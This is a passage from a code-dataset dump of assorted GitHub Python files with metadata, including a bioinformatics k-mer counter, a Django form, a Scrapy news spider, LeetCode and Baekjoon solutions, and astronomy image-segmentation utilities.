10\n","repo_name":"kpister/prompt-linter","sub_path":"data/scraping/repos/mahsanghani~NLP/LLM~SQL.py","file_name":"LLM~SQL.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"23224318044","text":"#import required modules\nfrom Bio import SeqIO\nimport argparse\n\n#Define a function to count frequencies of substrings in a FASTQ file\ndef find_adaptors(args): \n \"\"\"\n Get frequencies of substrings of length k across all sequences in a \n fastq file(f).\n \n Args:\n f: FASTQ file\n k: length of substring\n \n Returns:\n Substrings and counts, sorted by counts\n \"\"\"\n #Initiate a dictionary, to hold substrings as key and count as values\n kmers={}\n #Loop over each sequence in fastq file\n for record in SeqIO.parse(args.f, \"fastq\"): \n #Retrieve and save raw sequence line as variable seq\n seq=record.seq\n #Pull out substring of required length from sequence\n for i in range(len(seq) - args.k + 1):\n kmer = seq[i:i+args.k]\n #If substring already exists, increase count\n if kmer in kmers:\n kmers[kmer] += 1\n #If substring is new, store new key\n else:\n kmers[kmer] = 1 \n #Print substrings and counts, sorted by values(counts)\n for s in sorted(kmers, key=kmers.get, reverse=True):\n print (s, kmers[s])\n\n#Parse arguments from command line\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-k\",action=\"store\",dest=\"k\",type=int, help=\"length of substring\",required=True)\n parser.add_argument(\"-f\",action=\"store\",dest=\"f\", help=\"fasta file\",required=True)\n args = parser.parse_args() \n find_adaptors(args)\n","repo_name":"anurpa/bioinformatics_scripts","sub_path":"adaptor_finder.py","file_name":"adaptor_finder.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"43411901825","text":"from django import forms\nfrom .models import Address\nfrom .views import check_address_by_zipcode\n\n\nclass AddressForm(forms.ModelForm):\n def __init__(self, *args, **kwargs):\n super(AddressForm, self).__init__(*args, **kwargs)\n self.label_suffix = \"\"\n\n class Meta:\n model = Address\n fields = (\n \"full_address\",\n \"detail_address\",\n \"extra_address\",\n \"sido\",\n \"sigungu\",\n \"zipcode\",\n \"is_jeju_mountain\",\n )\n widgets = {\n \"detail_address\": forms.TextInput(attrs={\"placeholder\": \"나머지 상세주소를 입력하세요\"}),\n \"sido\": forms.HiddenInput,\n \"sigungu\": forms.HiddenInput,\n \"extra_address\": forms.HiddenInput,\n \"zipcode\": forms.HiddenInput,\n \"is_jeju_mountain\": forms.HiddenInput,\n }\n\n labels = {\"full_address\": \"주소\", \"detail_address\": \"\"}\n\n def clean_is_jeju_mountain(self):\n zipcode = self.cleaned_data[\"zipcode\"]\n\n return check_address_by_zipcode(int(zipcode))\n","repo_name":"pickyfarm/pickyFarm","sub_path":"addresses/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"50"} +{"seq_id":"10075598046","text":"# coding: utf-8\n\"\"\"A collection of wrapper filesystems.\n\nThese classes inherit from `fs.wrapfs.WrapFS`, and allow wrapping a\nfilesystem without relying only the delegate filesystem method\nimplementations. In other terms, filesystem inheriting from `fs.proxy.Proxy`\nwill have access to the ``delegate_fs`` of `fs.wrapfs.WrapFS`, but other\nthan that will behave like `fs.base.FS`. Implementing a `fs.proxy.Proxy`\nis only as tough as implementing a plain filesystem.\n\"\"\"\n\n__license__ = \"MIT\"\n__copyright__ = \"Copyright (c) 2017 Martin Larralde\"\n__author__ = \"Martin Larralde \"\n__version__ = 'dev'\n\n# Dynamically get the version of the installed module\ntry:\n import pkg_resources\n __version__ = pkg_resources.get_distribution(__name__).version\nexcept Exception:\n pkg_resources = None\nfinally:\n del pkg_resources\n","repo_name":"pombredanne/fs.proxy","sub_path":"fs/proxy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"43633590227","text":"import os\nimport shutil\nimport unittest\n\nfrom hamcrest import assert_that, contains_string\n\nfrom logseq.migration.migrater import migrate\n\nIMPORTED_GRAPH_NAME = 'test-vault'\nIMPORTED_VAULT = os.path.join('test/data/test/', IMPORTED_GRAPH_NAME)\nTEST_GRAPH_DIRECTORY = 'test/data/graphs/'\nTEST_GRAPH = os.path.join(TEST_GRAPH_DIRECTORY, IMPORTED_GRAPH_NAME)\nTEST_PAGES = os.path.join(TEST_GRAPH, 'pages')\nTEST_ASSETS = os.path.join(TEST_GRAPH, 'assets')\n\nPATH1 = os.path.join(TEST_PAGES, 'page with some text.md')\nIMAGE = os.path.join(TEST_ASSETS, 'autocode.png')\nPATH2 = os.path.join(TEST_PAGES, 'another with an mp4.md')\nMP4 = os.path.join(TEST_ASSETS, 'adc.mp4')\nPATH3 = os.path.join(TEST_PAGES, 'page with a pdf.md')\nPDF = os.path.join(TEST_ASSETS, 'README.pdf')\n\ndef read(path):\n with open(path) as f:\n return f.read()\n\n\nclass MigratorE2ETestCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n if os.path.exists(TEST_GRAPH):\n shutil.rmtree(TEST_GRAPH)\n shutil.copytree(IMPORTED_VAULT, TEST_GRAPH)\n migrate(TEST_GRAPH)\n\n def test_copies_image(self):\n md = read(PATH1)\n assert_that(md, contains_string('../assets/autocode.png'))\n assert_that(os.path.exists(IMAGE))\n\n def test_copies_mp4(self):\n md = read(PATH2)\n assert_that(md, contains_string('../assets/adc.mp4'))\n assert_that(os.path.exists(MP4))\n\n def test_copies_pdf(self):\n md = read(PATH3)\n assert_that(md, contains_string('../assets/README.pdf'))\n assert_that(os.path.exists(PDF))\n\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"romilly/logseq-migration","sub_path":"test/migrate/integration/test_integration.py","file_name":"test_integration.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"73797350565","text":"from copy import copy\nfrom typing import Optional\nfrom domain.entity import Task\n\n\nclass MemDB:\n \"\"\" インメモリDB \"\"\"\n\n\n def __init__(self):\n self._tasks: list[Task] = [\n {\n \"id\": 0,\n \"text\": \"task1\",\n \"done\": False,\n },\n {\n \"id\": 1,\n \"text\": \"task2\",\n \"done\": False,\n }\n ]\n\n def add(self, task: Task) -> int:\n task[\"id\"] = len(self._tasks)\n self._tasks.append(copy(task))\n assert task[\"id\"]\n return task[\"id\"]\n\n def search_unfinished(self) -> list[Task]:\n return [copy(task) for task in self._tasks if not task[\"done\"]]\n\n def update(self, task:Task):\n assert task[\"id\"]\n self._tasks[task[\"id\"]] = copy(task)\n\n def get(self, id: int) -> Optional[Task]:\n for task in self._tasks:\n if task[\"id\"] == id:\n return copy(task)\n return None\n","repo_name":"74th/vscode-book-r2-python","sub_path":"memdb/memdb.py","file_name":"memdb.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32693260612","text":"import requests\nimport json\nfrom datetime import datetime\n\n\nlimit = 2\nURL = f'http://newsline.kg/getNews.php?limit={limit}&last_dt={datetime.now()}'\n\n\ndef collect_data():\n \"\"\"\n Функция collect_data() получает response-ответ по URL запросу\n открывает файл с названием creation_date_04_07_2022.json\n записывает туда response в формате json файла\n \"\"\"\n last_dt = datetime.now().strftime('%d_%m_%Y')\n response = requests.get(url=URL)\n with open(f'creation_date_{last_dt}.json', 'w') as file:\n json.dump(response.json(), file, indent=4, ensure_ascii=False)\n\n\ndef main():\n collect_data()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"aycanmuratbekova/parser2","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7676204122","text":"# 피보나치\nimport sys\n\ninput = sys.stdin.readline\n\nmemory = [0, 1] + [0] * 90\n\n\ndef fibo(n):\n if memory[n] == 0 and n != 0:\n memory[n] = fibo(n-1) + fibo(n-2)\n return memory[n]\n\n\nnum = int(input())\nprint(fibo(num))\n","repo_name":"rdd9223/Algorithm","sub_path":"baekjoon_2748.py","file_name":"baekjoon_2748.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34413988960","text":"dic = {}\nN = int(input())\n\nfor i in range(N):\n a, b = input().split()\n a = int(a)\n b = int(b)\n dic[a] = b;\n\nR = int(input())\n\nfor j in range(R):\n valid = True\n symptoms = input().split()\n del symptoms[0]\n symptom_list = map(int, symptoms)\n result = []\n\n for k in symptom_list:\n\n if k in dic:\n result.append(dic[k])\n else:\n valid = False\n\n if valid:\n for l in result:\n print(l, end=\" \")\n else:\n print(\"YOU DIED\")","repo_name":"IMDingDong/Beakjoon","sub_path":"14670.py","file_name":"14670.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19359210285","text":"# -*- coding: utf-8 -*-\nimport re\nfrom copy import deepcopy\nfrom datetime import datetime\nfrom urllib.parse import urljoin\n\nfrom scrapy import Request\nfrom scrapy.conf import settings\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import Rule\nfrom news_all.spider_models import NewsRCSpider, js_meta\n\n\nclass LizhiSpider(NewsRCSpider):\n\tname = 'lizhi'\n\n\tdownloader_middlewares = deepcopy(settings.getdict('DOWNLOADER_MIDDLEWARES_NOREDICT'))\n\tdownloader_middlewares['news_all.middlewares.PhantomJSMiddleware'] = 540\n\n\tcustom_settings = {\n\t\t'DEPTH_LIMIT': 0,\n\t\t'DOWNLOADER_MIDDLEWARES': downloader_middlewares\n\t}\n\tstart_meta = {'jstype': True}\n\n\tmystart_urls = {\n\t\t'http://news.jstv.com/': 1,\n\t\t'http://news.jstv.com/sz/': 2,\n\t\t'http://news.jstv.com/comment/': 3,\n\t\t'http://news.jstv.com/yc/lzsp_sort1.shtml': 4,\n\t\t'http://news.jstv.com/special/20190703/1562125033831.shtml': 5,\n\t\t'http://news.jstv.com/yc/lzsp_sort2.shtml': 6,\n\t\t'http://news.jstv.com/yc/lzsp_sort5.shtml': 7,\n\t\t'http://news.jstv.com/lzp/': 8,\n\t\t'http://news.jstv.com/exposure/': 9,\n\t\t'http://news.jstv.com/pxel/': 10,\n\t\t'http://news.jstv.com/lzs/': 11,\n\t\t'http://news.jstv.com/jiangsu/': 12,\n\t\t'http://news.jstv.com/guonei/': 13,\n\t\t'http://news.jstv.com/guoji/': 14,\n\t\t'http://news.jstv.com/shehui/': 15,\n\t\t'http://news.jstv.com/junshi/': 16,\n\t\t'http://news.jstv.com/tiyu/': 17,\n\t\t'http://news.jstv.com/caijing/': 18,\n\t\t'http://news.jstv.com/yule/': 19,\n\t\t'http://news.jstv.com/fangchan/': 20,\n\t\t'http://news.jstv.com/original/': 21,\n\t\t'http://news.jstv.com/keji/': 22,\n\t}\n\n\tdeny_list = [\n\t\tr'/200[0-9]',\n\t\tr'/201[0-8]',\n\t\tr'/2019(?:0[1-9]|10)',\n\t\tr'/list_\\d+.shtml',\n\t\tr'http://news.jstv.com/lzttb_pc/'\n\t]\n\n\trules = (\n\t\tRule(LinkExtractor(allow=r'news.jstv.com/a/%s/\\d+.shtml'\n\t\t % datetime.today().strftime('%Y%m%d'),\n\t\t deny=deny_list),\n\t\t callback='parse_item',\n\t\t follow=False\n\t\t ),\n\n\t\tRule(LinkExtractor(allow=r'http://photo.jstv.com/a/\\d+.shtml',\n\t\t deny=deny_list),\n\t\t callback='parse_album',\n\t\t follow=False\n\t\t ),\n\n\t\tRule(LinkExtractor(allow=r'news.jstv.com/.*?',\n\t\t deny=deny_list),\n\t\t # callback='parse_redirect',\n\t\t process_request=js_meta,\n\t\t follow=True),\n\t)\n\n\timg_pattern = re.compile(r'data-bigimg=\\\"(.*?)\\\"')\n\ttxt_pattern = re.compile(r'alt=\\\"(.*?)\\s*\\\"')\n\n\t\"\"\"\n\t\tClass functions of 'Lizhi_Spider' begin\n\t\"\"\"\n\n\tdef parse_item(self, response):\n\t\t# http://news.jstv.com/a/20191110/1573398149283.shtml\n\t\txp = response.xpath\n\n\t\ttry:\n\t\t\ttitle = xp('/html/head/title/text()').extract_first().split('_')[0]\n\t\t\tpub_time = xp(\"//span[@class='time']/text()\").extract()[0]\n\t\t\torigin_name = xp(\"//span[@class='source']/text()\").extract()[0]\n\t\t\tcontent_div = xp(\"//div[@class='content']\")\n\t\t\tcontent, media, videos, _ = self.content_clean(content_div, need_video=True)\n\n\t\texcept Exception as e:\n\t\t\treturn self.produce_debugitem(response, 'xpath error - ' + str(e))\n\n\t\treturn self.produce_item(\n\t\t\tresponse=response,\n\t\t\ttitle=title,\n\t\t\tpubtime=pub_time,\n\t\t\torigin_name=origin_name,\n\t\t\tcontent=content,\n\t\t\tmedia=media,\n\t\t\tvideos=videos\n\t\t)\n\n\tdef parse_album(self, response):\n\t\t# http://photo.jstv.com/a/20191112/1573520088807.shtml\n\t\txp = response.xpath\n\n\t\ttry:\n\t\t\ttitle = xp('/html/head/title/text()').extract_first().split('-')[0]\n\t\t\tpub_time = xp('//div[@class=\"maintitle wrap\"]/span/text()').extract()[0]\n\t\t\tcontent_div = xp('//div[@class=\"smallimglist_c fL\"]/ul[@class=\"clearfix\"]/li/img')\n\t\t\tcontent, media = self.concat_album_content(content_div)\n\t\texcept Exception as e:\n\t\t\treturn self.produce_debugitem(response, 'xpath error in parse_album() - ' + str(e))\n\n\t\treturn self.produce_item(\n\t\t\tresponse=response,\n\t\t\ttitle=title,\n\t\t\tpubtime=pub_time,\n\t\t\tcontent=content,\n\t\t\tmedia=media\n\t\t)\n\n\tdef concat_album_content(self, album_content):\n\t\tmedia = {'images': {}}\n\t\tcontent = ''\n\t\tfor i, j in enumerate(album_content):\n\t\t\tcontent += '

    ' + '${{%s}}$' % (i + 1) + '

    '\n\t\t\timg_url = self.img_pattern.findall(j.extract())[0]\n\t\t\tmedia['images'][str(i + 1)] = {\"src\": img_url}\n\t\t\tif self.txt_pattern.search(j.extract()):\n\t\t\t\tcontent += '

    ' +\\\n\t\t\t\t self.txt_pattern.findall(j.extract())[0] +\\\n\t\t\t\t '

    '\n\t\treturn content, media\n\n# def parse_redirect(self, response):\n\t#\n\t# \tif response.status in [301] and 'Location' in response.headers:\n\t# \t\tnew_url = response.headers['Location']\n\t# \t\tnew_url = bytes.decode(new_url)\n\t# \t\tyield Request(url=new_url, callback=self.parse_redirect)\n\t# \telif re.match(r'news.jstv.com/a/%s\\d{2}/\\d+.shtml'\n\t# \t % datetime.today().strftime('%Y%m'),\n\t# \t response.url):\n\t# \t\tyield Request(url=response.url, callback=self.parse_item)\n","repo_name":"Pintrue/news_all","sub_path":"news_all/spiders/lizhi.py","file_name":"lizhi.py","file_ext":"py","file_size_in_byte":4712,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"32353879452","text":"# 45. 跳跃游戏 II\n#\n# 给定一个非负整数数组,你最初位于数组的第一个位置。 \n# \n# 数组中的每个元素代表你在该位置可以跳跃的最大长度。 \n# \n# 你的目标是使用最少的跳跃次数到达数组的最后一个位置。 \n# \n# 示例: \n# \n# 输入: [2,3,1,1,4]\n# 输出: 2\n# 解释: 跳到最后一个位置的最小跳跃数是 2。\n#   从下标为 0 跳到下标为 1 的位置,跳 1 步,然后跳 3 步到达数组的最后一个位置。\n# \n# \n# 说明: \n# \n# 假设你总是可以到达数组的最后一个位置。 \n# Related Topics 贪心算法 数组 \n# 👍 754 👎 0\n\n\n\"\"\"\n解:\nn:数组长度\n\n1.逐元素更新最佳跳跃值,且以第一步的最佳值为边界\n2.若当前元素已达边界,则边界更新为最佳跳跃值,并增加跳跃次数,这样相当于,每次跳跃都为最远处\n\n\"\"\"\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution:\n def jump(self, nums: List[int]) -> int:\n if len(nums) <= 1:\n return 0\n n = len(nums)\n\n max_value, step, boundary = 0, 0, 0\n\n for index in range(n - 1):\n # 当前最大值\n max_value = max(max_value, index + nums[index])\n # 若遇到当前跳跃边界,则进一步\n if index == boundary:\n boundary = max_value\n step += 1\n return step\n\n# leetcode submit region end(Prohibit modification and deletion)\n","repo_name":"And370/Algorithm","sub_path":"LeetCode/editor/cn/45. 跳跃游戏 II.py","file_name":"45. 跳跃游戏 II.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70840988644","text":"# Import smorgasbord\nimport os\nimport pdb\nimport gc\nimport copy\nimport time\nimport datetime\nimport warnings\nwarnings.simplefilter('ignore', category=Warning)\nimport multiprocessing as mp\nimport numpy as np\nimport scipy.stats\nimport scipy.spatial\nimport matplotlib.pylab as plt\nimport astropy.logger\nastropy.log.setLevel('ERROR')\nimport astropy.io.fits\nimport skimage.feature\nimport skimage.measure\nimport webcolors\nfrom ChrisFuncs import SigmaClip, ProgressDir\nplt.ioff()\n\n\n\n\n\ndef ProximatePrune(points, distance):\n \"\"\" Function that takes an array containing 2D coordinats, and removes any that lie within a given distance of other points using a KD tree \"\"\"\n\n # Construct KD tree, and find pairs within exclusion distance\n tree = scipy.spatial.KDTree(points)\n pairs = tree.query_pairs(distance)\n\n # Loop over pairs, pruning the first member encountered\n prune = []\n for pair in pairs:\n if pair[0] in prune:\n continue\n if pair[1] in prune:\n continue\n else:\n prune.append(pair[1])\n\n # Return un-pruned points\n keep = np.setdiff1d( np.arange(points.shape[0]), prune )\n points = np.array([ points[:,0][keep], points[:,1][keep] ]).transpose()\n return points\n\n\n\ndef LabelShuffle(label_map_old, test=False):\n \"\"\" Function that takes a labelled segmented map and generates random labels, for more aesthetically pleasing visualisations \"\"\"\n\n # Check that no labels are duplicated\n for i in range(1,label_map_old.max()):\n label_map_indv = label_map_old.copy()\n label_map_indv[np.where(label_map_indv!=i)] = 0\n label_map_indv_sublabel = scipy.ndimage.measurements.label(label_map_indv, structure=scipy.ndimage.generate_binary_structure(2,2))\n if label_map_indv_sublabel[1]>1:\n for i in range(2,label_map_indv_sublabel[1]):\n label_map_old[ np.where(label_map_indv_sublabel[0] == i) ] = label_map_old.max() + (i-1)\n\n # Find each label in map\n label_list = np.unique(label_map_old)\n label_list = label_list[np.where(label_list>0)]\n label_shuffle = np.random.permutation(np.arange(1,label_list.size+1))\n\n # Loop over labels, picking a new label for each\n label_map_new = np.zeros(label_map_old.shape).astype(int)\n for i in range(1,label_list.shape[0]):\n label_old = label_list[i-1]\n label_new = label_list.shape[0] + label_shuffle[i-1]\n label_map_new[np.where(label_map_old==label_old)] = label_new\n\n # Shift labels so that they start from 1 again\n if np.where(label_map_new>0)[0].shape[0] > 0:\n label_shift = np.min( label_map_new[ np.where(label_map_new>0) ] ) - 1\n label_map_new[ np.where(label_map_new>0) ] -= label_shift\n label_map_new[ np.where(label_map_new>0) ] += np.nanmax(label_map_new)\n\n # Return shuffled map\n return label_map_new\n\n\n\ndef FillHoles(map_in):\n \"\"\" A function for robustly filling holes in labelled segments \"\"\"\n\n # Loop over labels in segmentation map (skipping null values)\n map_out = map_in.copy().astype(int)\n for i in np.unique(map_in.astype(int)):\n if i<=0:\n continue\n\n # Fill holes withinin this label only\n map_label = map_in.copy().astype(int)\n map_label[ np.where(map_label!=i) ] = 0\n map_label = scipy.ndimage.morphology.binary_fill_holes(map_label.astype(bool))\n map_out[np.where(map_label==True)] = i\n\n # Return filled segmentation map\n return map_out\n\n\n\ndef WaterWrapper(Image, seg_map, iter_total, verbose, img_id):\n \"\"\" Wrapper around watershed segmentation function, for ease of parallelisation \"\"\"\n\n # Make copy of input Image object to work with\n Image = copy.deepcopy(Image)\n\n # Decide how many markers to generate, based on number of already-identified features, and the proportion of the map they occupy\n n_thresh_seg = int( np.unique(seg_map).shape[0] * ( seg_map.size / np.where(seg_map>0)[0].shape[0] ) )\n n_canny = int( np.unique(Image.canny_features).shape[0] * ( seg_map.size / np.where(seg_map>0)[0].shape[0] ) )\n n_logdog = int( np.unique(Image.logdog_features).shape[0] * ( seg_map.size / np.where(seg_map>0)[0].shape[0] ) )\n n_markers = int( 3.0 * np.nanmax([n_thresh_seg, n_canny, n_logdog]) )\n\n # Generate totally random marker coordinates\n markers = np.random.random(size=(n_markers,2))\n markers[:,0] *= Image.map.shape[0]\n markers[:,1] *= Image.map.shape[1]\n\n # Prune markers located too close to each other\n markers = ProximatePrune(markers, 0.5*np.sqrt(Image.thresh_area/np.pi))\n\n # Loop over each threshold segment, ensuring that each recieves at least one marker\n thresh_seg_labels = np.unique(seg_map)\n for i in range(1,len(thresh_seg_labels)):\n label = thresh_seg_labels[i]\n label_where = np.where(seg_map==label)\n label_marker = np.random.randint(label_where[0].shape[0])\n markers[i,0] = label_where[0][label_marker]\n markers[i,1] = label_where[1][label_marker]\n\n # Loop over each Canny Feature segment, ensuring that each recieves at least one marker\n canny_labels = np.unique(Image.canny_features)\n for i in range(0,len(canny_labels)):\n label = canny_labels[i]\n label_where = np.where(Image.canny_features==label)\n label_marker = np.random.randint(label_where[0].shape[0])\n markers[i+len(thresh_seg_labels),0] = label_where[0][label_marker]\n markers[i+len(thresh_seg_labels),1] = label_where[1][label_marker]\n\n # Convert marker points into a marker array\n marker_map = np.zeros(Image.map.shape, dtype=np.int)\n for i in range(0, markers.shape[0]):\n marker_map[ int(markers[i,0]), int(markers[i,1]) ] = i+1\n\n # Remove markers that do not lie within segmented objects\n marker_map[np.where(seg_map==0)] = 0\n\n # Create mask\n mask_map = np.zeros(seg_map.shape).astype(bool)\n mask_map[np.where(seg_map>0)] = True\n\n \"\"\"# If input map specified, select it; otherwise, simply use the det map\n if in_map==None:\n in_map = Image.detmap.copy()\n elif (isinstance(in_map, str)) and (in_map in dir(Image)) and (isinstance(getattr(Image, in_map), np.ndarray)):\n in_map = getattr(Image, in_map)\n else:\n raise Exception('Specified in_map is not an attribute of the provided Image object')\"\"\"\n\n # Select input map, and invert it (as watershed requires 'peaks' to become 'valleys')\n in_map = Image.detmap.copy()\n in_map = (-1.0 * in_map) + np.nanmax(in_map)\n\n # Conduct segmentation\n out_map = skimage.morphology.watershed(in_map, marker_map, connectivity=np.zeros([3,3])+1,\n offset=None, mask=None, compactness=0, watershed_line=False)\n out_map[np.where(seg_map==0)] = 0\n\n # Estimate completion time,\n iter_complete, time_est = ProgressDir(os.path.join(Image.temp_dir,'Prog_Dir'), iter_total, raw=True)\n\n # Work out when to report estimated completion time, and then do so\n iter_report = np.min([ 10*(mp.cpu_count()-1), int(iter_total/5) ])\n if iter_complete == 1:\n if verbose:\n print('['+img_id+'] Starting Monte-Carlo deblending for '+str(Image.name)+' channel; estimated completion time pending.')\n elif iter_complete == iter_report:\n datetime_now = datetime.datetime.now()\n datetime_est = datetime.datetime.fromtimestamp(float(time_est))\n datetime_delta = datetime_est - datetime_now\n delta_m, delta_s = divmod(datetime_delta.total_seconds(), 60)\n delta_h, delta_m = divmod(delta_m, 60)\n delta_string = str(int(np.round(delta_h)))+' h, '+str(int(np.round(delta_m)))+' m, '+str(int(np.round(delta_s)))+' s'\n if verbose:\n print('['+img_id+'] Estimated completion time for '+str(Image.name)+' channel Monte-Carlo deblending: '+delta_string+', (at '+str(time.ctime(time_est))+').')#, end='\\r')\n\n # Clean up, and return output segmentation map\n gc.collect\n return out_map\n\n\n\ndef WalkerWrapper(Image, seg_map, iter_total, verbose, img_id):\n \"\"\" Wrapper around random walker segmentation function, for ease of parallelisation \"\"\"\n\n # Make copy of input Image object to work with\n Image = copy.deepcopy(Image)\n\n # Decide how many markers to generate, based on number of already-identified features, and the proportion of the map they occupy\n n_thresh_seg = int( np.unique(seg_map).shape[0] * ( seg_map.size / np.where(seg_map>0)[0].shape[0] ) )\n n_canny = int( np.unique(Image.canny_features).shape[0] * ( seg_map.size / np.where(seg_map>0)[0].shape[0] ) )\n n_logdog = int( np.unique(Image.logdog_features).shape[0] * ( seg_map.size / np.where(seg_map>0)[0].shape[0] ) )\n n_markers = int( 2.0 * np.nanmax([n_thresh_seg, n_canny, n_logdog]) )\n\n # Generate totally random marker coordinates\n markers = np.random.random(size=(n_markers,2))\n markers[:,0] *= Image.map.shape[0]\n markers[:,1] *= Image.map.shape[1]\n\n # Prune markers located too close to each other\n markers = ProximatePrune(markers, 0.5*np.sqrt(Image.thresh_area/np.pi))\n\n # Loop over each threshold segment, ensuring that each recieves at least one marker\n thresh_seg_labels = np.unique(seg_map)\n for i in range(1,len(thresh_seg_labels)):\n label = thresh_seg_labels[i]\n label_where = np.where(seg_map==label)\n label_marker = np.random.randint(label_where[0].shape[0])\n markers[i,0] = label_where[0][label_marker]\n markers[i,1] = label_where[1][label_marker]\n\n # Loop over each Canny Feature segment, ensuring that each recieves at least one marker\n canny_labels = np.unique(Image.canny_features)\n for i in range(0,len(canny_labels)):\n label = canny_labels[i]\n label_where = np.where(Image.canny_features==label)\n label_marker = np.random.randint(label_where[0].shape[0])\n markers[i+len(thresh_seg_labels),0] = label_where[0][label_marker]\n markers[i+len(thresh_seg_labels),1] = label_where[1][label_marker]\n\n # Convert marker points into a marker array\n marker_map = np.zeros(Image.map.shape, dtype=np.int)\n for i in range(0, markers.shape[0]):\n marker_map[ int(markers[i,0]), int(markers[i,1]) ] = i+1\n\n # Remove markers that do not lie within segmented objects\n marker_map[np.where(seg_map==0)] = 0\n\n # Create mask and invert map\n mask_map = np.zeros(seg_map.shape).astype(bool)\n mask_map[np.where(seg_map>0)] = True\n in_map = Image.detmap.copy()\n in_map = (-1.0 * in_map) + np.nanmax(in_map)\n #in_map[np.where(mask_map==False)] = 999\n\n # Conduct segmentation\n out_map = skimage.segmentation.random_walker(in_map, marker_map, beta=15, mode='cg_mg', tol=0.0025,\n copy=True, multichannel=False, return_full_prob=False, spacing=None)\n\n # Estimate completion time,\n iter_complete, time_est = ProgressDir(os.path.join(Image.temp_dir,'Prog_Dir'), iter_total, raw=True)\n\n # Work out when to report estimated completion time, and then do so\n iter_report = np.min([ 10*(mp.cpu_count()-1), int(iter_total/5) ])\n if iter_complete == 1:\n if verbose:\n print('['+img_id+'] Starting Monte-Carlo deblending for '+str(Image.name)+' channel; estimated completion time pending.')\n elif iter_complete == iter_report:\n datetime_now = datetime.datetime.now()\n datetime_est = datetime.datetime.fromtimestamp(float(time_est))\n datetime_delta = datetime_est - datetime_now\n delta_m, delta_s = divmod(datetime_delta.total_seconds(), 60)\n delta_h, delta_m = divmod(delta_m, 60)\n delta_string = str(int(np.round(delta_h)))+' h, '+str(int(np.round(delta_m)))+' m, '+str(int(np.round(delta_s)))+' s'\n if verbose:\n print('['+img_id+'] Estimated completion time for '+str(Image.name)+' channel Monte-Carlo deblending: '+delta_string+', (at '+str(time.ctime(time_est))+').')#, end='\\r')\n\n # Clean up, and return output segmentation map\n gc.collect\n return out_map\n\n\n\ndef HysterThresh(in_image, v_low, v_high):\n \"\"\" Function (adapted from Emmanuelle Gouillart's blog) to perform Hysteresis thresholding on a probabalistic border map \"\"\"\n\n # Create masks of pixels brighter than the high and low hysteresis thresholds\n mask_low = in_image > v_low\n mask_high = in_image > v_high\n\n # Identift connected pixels\n labels_low = skimage.measure.label(mask_low, background=0) + 1\n count_low = labels_low.max()\n\n # Check if connected components contain pixels from mask_high\n sums = scipy.ndimage.sum(mask_high, labels_low, np.arange(count_low+1))\n good_label = np.zeros((count_low + 1,), bool)\n good_label[1:] = sums[1:] > 0\n out_mask = good_label[labels_low]\n\n # Return resulting masl\n return out_mask\n\n\n\ndef ColourName(requested_colour):\n \"\"\" Stack Overflow function by user fraxel to return an English name for an RGB colour (https://tinyurl.com/yav4y9tb) \"\"\"\n\n # First see if webcolors has an exact match (unlikely, but hey)\n try:\n closest_name = webcolors.rgb_to_name(tuple(requested_colour))\n\n # If not exact match, find closest RGB euclidian match\n except ValueError:\n min_colours = {}\n for key, name in webcolors.css3_hex_to_names.items():\n r_c, g_c, b_c = webcolors.hex_to_rgb(key)\n rd = (r_c - requested_colour[0]) ** 2\n gd = (g_c - requested_colour[1]) ** 2\n bd = (b_c - requested_colour[2]) ** 2\n min_colours[(rd + gd + bd)] = name\n closest_name = min_colours[min(min_colours.keys())]\n\n # Return Ennglish name of best match\n return closest_name\n\n","repo_name":"Stargrazer82301/AstroCell","sub_path":"AstroCell/Process.py","file_name":"Process.py","file_ext":"py","file_size_in_byte":13647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43620363495","text":"# ML 2017 hw1 \n# Linear Regression with Gradient Descent, version 1\n# Validation (Ev)\n\nimport numpy as np\nfrom sys import argv\n\n# read from csv and trim all chinese words\ntrain = []\nwith open(argv[1], 'rb') as f:\n\tdata = f.read().splitlines()\n\ti = 0\n\tfor line in data[1:]: # trim the first data which is header\n\t\tline = [x.replace(\"\\'\", \"\") for x in str(line).split(',')[3:]]\n\n\t\tif i % 18 == 10:\n\t\t\tline = [x.replace(\"NR\", \"0\") for x in line]\n\n\t\tline = [float(x) for x in line]\n\t\tif i < 18:\n\t\t\ttrain.append(line)\n\t\telse:\n\t\t\ttrain[i % 18] += line\n\t\t\n\t\ti += 1\n\ntest = []\nwith open(argv[2], 'rb') as f:\n\tdata = f.read().splitlines()\n\ti = 0\n\tfor line in data: # trim the first data which is header\n\t\tline = [x.replace(\"\\'\", \"\") for x in str(line).split(',')[2:]]\n\n\t\tif i % 18 == 10:\n\t\t\tline = 